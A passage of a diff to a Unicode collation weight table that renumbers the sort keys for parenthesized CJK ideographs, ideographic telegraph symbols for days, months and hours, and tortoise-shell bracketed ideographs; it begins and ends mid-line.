[.8000.0020.0002] # 2E8A ; [.80B5.0020.0002] # CJK RADICAL DIVINATION FDD0 3106 ; [.83B1.0020.0002] # @@ -276,119 +276,119 @@ FDD0 3129 ; [.D403.0020.0002] # 2ED7 ; [.D47E.0020.0002] # CJK RADICAL RAIN 2E9D ; [.D53B.0020.0002] # CJK RADICAL MOON -3220 ; [*0317.0020.0004][.CBDC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE -3226 ; [*0317.0020.0004][.AD39.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN -3222 ; [*0317.0020.0004][.C8DF.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE -3228 ; [*0317.0020.0004][.A95D.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE -3221 ; [*0317.0020.0004][.CBCD.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO -3224 ; [*0317.0020.0004][.D1A9.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE -3239 ; [*0317.0020.0004][.8C57.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT -323D ; [*0317.0020.0004][.ADC1.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE -3241 ; [*0317.0020.0004][.B3A8.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST -3227 ; [*0317.0020.0004][.8001.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT -3225 ; [*0317.0020.0004][.9953.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX -3238 ; [*0317.0020.0004][.969E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR -3229 ; [*0317.0020.0004][.BF85.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN -323F ; [*0317.0020.0004][.B2BC.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE -3234 ; [*0317.0020.0004][.892A.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME -323A ; [*0317.0020.0004][.A3B5.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CALL -3223 ; [*0317.0020.0004][.C82E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR -322F ; [*0317.0020.0004][.92EA.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH -323B ; [*0317.0020.0004][.B5F0.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY -3230 ; [*0317.0020.0004][.C2A4.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUN -322A ; [*0317.0020.0004][.D53C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH MOON -3232 ; [*0317.0020.0004][.CEC7.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE -322D ; [*0317.0020.0004][.895F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD -3231 ; [*0317.0020.0004][.BA36.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK -322C ; [*0317.0020.0004][.C26E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH WATER -322B ; [*0317.0020.0004][.A48C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE -3235 ; [*0317.0020.0004][.9060.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL -323C ; [*0317.0020.0004][.A9B3.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE -3233 ; [*0317.0020.0004][.C05E.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY -3237 ; [*0317.0020.0004][.BA90.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION -3240 ; [*0317.0020.0004][.A78C.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL -3242 ; [*0317.0020.0004][.C457.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SELF -3243 ; [*0317.0020.0004][.B766.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REACH -3236 ; [*0317.0020.0004][.C69F.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL -323E ; [*0317.0020.0004][.C421.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE -322E ; [*0317.0020.0004][.AA72.0020.0004][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH METAL -3358 ; [.1C3D.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO -33E9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN -32C9 ; [.1C3E.0020.0004][.1C3D.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER -3362 ; [.1C3E.0020.0004][.1C3D.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN -33EA ; [.1C3E.0020.0004][.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN -32CA ; [.1C3E.0020.0004][.1C3E.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER -3363 ; [.1C3E.0020.0004][.1C3E.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN -33EB ; [.1C3E.0020.0004][.1C3F.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE -32CB ; [.1C3E.0020.0004][.1C3F.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER -3364 ; [.1C3E.0020.0004][.1C3F.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE -33EC ; [.1C3E.0020.0004][.1C40.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN -3365 ; [.1C3E.0020.0004][.1C40.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN -33ED ; [.1C3E.0020.0004][.1C41.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN -3366 ; [.1C3E.0020.0004][.1C41.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN -33EE ; [.1C3E.0020.0004][.1C42.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN -3367 ; [.1C3E.0020.0004][.1C42.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN -33EF ; [.1C3E.0020.0004][.1C43.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN -3368 ; [.1C3E.0020.0004][.1C43.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN -33F0 ; [.1C3E.0020.0004][.1C44.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN -3369 ; [.1C3E.0020.0004][.1C44.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN -33F1 ; [.1C3E.0020.0004][.1C45.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN -336A ; [.1C3E.0020.0004][.1C45.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN -33F2 ; [.1C3E.0020.0004][.1C46.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN -336B ; [.1C3E.0020.0004][.1C46.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN -33E0 ; [.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE -32C0 ; [.1C3E.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY -3359 ; [.1C3E.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE -33F3 ; [.1C3F.0020.0004][.1C3D.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY -336C ; [.1C3F.0020.0004][.1C3D.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY -33F4 ; [.1C3F.0020.0004][.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE -336D ; [.1C3F.0020.0004][.1C3E.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE -33F5 ; [.1C3F.0020.0004][.1C3F.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO -336E ; [.1C3F.0020.0004][.1C3F.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO -33F6 ; [.1C3F.0020.0004][.1C40.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE -336F ; [.1C3F.0020.0004][.1C40.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE -33F7 ; [.1C3F.0020.0004][.1C41.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR -3370 ; [.1C3F.0020.0004][.1C41.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR -33F8 ; [.1C3F.0020.0004][.1C42.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE -33F9 ; [.1C3F.0020.0004][.1C43.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX -33FA ; [.1C3F.0020.0004][.1C44.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN -33FB ; [.1C3F.0020.0004][.1C45.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT -33FC ; [.1C3F.0020.0004][.1C46.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE -33E1 ; [.1C3F.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO -32C1 ; [.1C3F.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY -335A ; [.1C3F.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO -33FD ; [.1C40.0020.0004][.1C3D.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY -33FE ; [.1C40.0020.0004][.1C3E.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE -33E2 ; [.1C40.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE -32C2 ; [.1C40.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH -335B ; [.1C40.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE -33E3 ; [.1C41.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR -32C3 ; [.1C41.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL -335C ; [.1C41.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR -33E4 ; [.1C42.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE -32C4 ; [.1C42.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY -335D ; [.1C42.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE -33E5 ; [.1C43.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX -32C5 ; [.1C43.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE -335E ; [.1C43.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX -33E6 ; [.1C44.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN -32C6 ; [.1C44.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY -335F ; [.1C44.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN -33E7 ; [.1C45.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT -32C7 ; [.1C45.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST -3360 ; [.1C45.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT -33E8 ; [.1C46.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE -32C8 ; [.1C46.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER -3361 ; [.1C46.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE -1F241 ; [*0379.0020.0004][.C8DF.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 -1F242 ; [*0379.0020.0004][.CBCD.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C -1F247 ; [*0379.0020.0004][.C1CC.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD -1F243 ; [*0379.0020.0004][.CB52.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89 -1F245 ; [*0379.0020.0004][.8C38.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253 -1F248 ; [*0379.0020.0004][.80CD.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 -1F240 ; [*0379.0020.0004][.819A.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C -1F244 ; [*0379.0020.0004][.8E99.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9 -1F246 ; [*0379.0020.0004][.8CA9.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7 +3220 ; [*0310.0020.0004][.CBDC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE +3226 ; [*0310.0020.0004][.AD39.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN +3222 ; [*0310.0020.0004][.C8DF.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE +3228 ; [*0310.0020.0004][.A95D.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE +3221 ; [*0310.0020.0004][.CBCD.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO +3224 ; [*0310.0020.0004][.D1A9.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE +3239 ; [*0310.0020.0004][.8C57.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT +323D ; [*0310.0020.0004][.ADC1.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE +3241 ; [*0310.0020.0004][.B3A8.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST +3227 ; [*0310.0020.0004][.8001.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT +3225 ; [*0310.0020.0004][.9953.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX +3238 ; [*0310.0020.0004][.969E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR +3229 ; [*0310.0020.0004][.BF85.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN +323F ; [*0310.0020.0004][.B2BC.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE +3234 ; [*0310.0020.0004][.892A.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NAME +323A ; [*0310.0020.0004][.A3B5.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CALL +3223 ; [*0310.0020.0004][.C82E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FOUR +322F ; [*0310.0020.0004][.92EA.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EARTH +323B ; [*0310.0020.0004][.B5F0.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STUDY +3230 ; [*0310.0020.0004][.C2A4.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUN +322A ; [*0310.0020.0004][.D53C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH MOON +3232 ; [*0310.0020.0004][.CEC7.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH HAVE +322D ; [*0310.0020.0004][.895F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WOOD +3231 ; [*0310.0020.0004][.BA36.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH STOCK +322C ; [*0310.0020.0004][.C26E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH WATER +322B ; [*0310.0020.0004][.A48C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIRE +3235 ; [*0310.0020.0004][.9060.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SPECIAL +323C ; [*0310.0020.0004][.A9B3.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SUPERVISE +3233 ; [*0310.0020.0004][.C05E.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SOCIETY +3237 ; [*0310.0020.0004][.BA90.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH CONGRATULATION +3240 ; [*0310.0020.0004][.A78C.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FESTIVAL +3242 ; [*0310.0020.0004][.C457.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SELF +3243 ; [*0310.0020.0004][.B766.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REACH +3236 ; [*0310.0020.0004][.C69F.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FINANCIAL +323E ; [*0310.0020.0004][.C421.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH RESOURCE +322E ; [*0310.0020.0004][.AA72.0020.0004][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH METAL +3358 ; [.1BB8.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO +33E9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN +32C9 ; [.1BB9.0020.0004][.1BB8.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER +3362 ; [.1BB9.0020.0004][.1BB8.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN +33EA ; [.1BB9.0020.0004][.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN +32CA ; [.1BB9.0020.0004][.1BB9.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER +3363 ; [.1BB9.0020.0004][.1BB9.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN +33EB ; [.1BB9.0020.0004][.1BBA.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE +32CB ; [.1BB9.0020.0004][.1BBA.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER +3364 ; [.1BB9.0020.0004][.1BBA.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE +33EC ; [.1BB9.0020.0004][.1BBB.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN +3365 ; [.1BB9.0020.0004][.1BBB.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN +33ED ; [.1BB9.0020.0004][.1BBC.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN +3366 ; [.1BB9.0020.0004][.1BBC.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN +33EE ; [.1BB9.0020.0004][.1BBD.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN +3367 ; [.1BB9.0020.0004][.1BBD.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN +33EF ; [.1BB9.0020.0004][.1BBE.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN +3368 ; [.1BB9.0020.0004][.1BBE.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN +33F0 ; [.1BB9.0020.0004][.1BBF.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN +3369 ; [.1BB9.0020.0004][.1BBF.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN +33F1 ; [.1BB9.0020.0004][.1BC0.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN +336A ; [.1BB9.0020.0004][.1BC0.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN +33F2 ; [.1BB9.0020.0004][.1BC1.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN +336B ; [.1BB9.0020.0004][.1BC1.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN +33E0 ; [.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE +32C0 ; [.1BB9.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY +3359 ; [.1BB9.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE +33F3 ; [.1BBA.0020.0004][.1BB8.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY +336C ; [.1BBA.0020.0004][.1BB8.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY +33F4 ; [.1BBA.0020.0004][.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE +336D ; [.1BBA.0020.0004][.1BB9.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE +33F5 ; [.1BBA.0020.0004][.1BBA.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO +336E ; [.1BBA.0020.0004][.1BBA.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO +33F6 ; [.1BBA.0020.0004][.1BBB.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE +336F ; [.1BBA.0020.0004][.1BBB.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE +33F7 ; [.1BBA.0020.0004][.1BBC.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR +3370 ; [.1BBA.0020.0004][.1BBC.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR +33F8 ; [.1BBA.0020.0004][.1BBD.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE +33F9 ; [.1BBA.0020.0004][.1BBE.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX +33FA ; [.1BBA.0020.0004][.1BBF.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN +33FB ; [.1BBA.0020.0004][.1BC0.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT +33FC ; [.1BBA.0020.0004][.1BC1.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE +33E1 ; [.1BBA.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO +32C1 ; [.1BBA.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY +335A ; [.1BBA.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO +33FD ; [.1BBB.0020.0004][.1BB8.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY +33FE ; [.1BBB.0020.0004][.1BB9.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE +33E2 ; [.1BBB.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE +32C2 ; [.1BBB.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH +335B ; [.1BBB.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE +33E3 ; [.1BBC.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR +32C3 ; [.1BBC.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL +335C ; [.1BBC.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR +33E4 ; [.1BBD.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE +32C4 ; [.1BBD.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY +335D ; [.1BBD.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE +33E5 ; [.1BBE.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX +32C5 ; [.1BBE.0020.0004][.D53C.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE +335E ; [.1BBE.0020.0004][.8E99.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX +33E6 ; [.1BBF.0020.0004][.C2A4.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN +32C6 ; 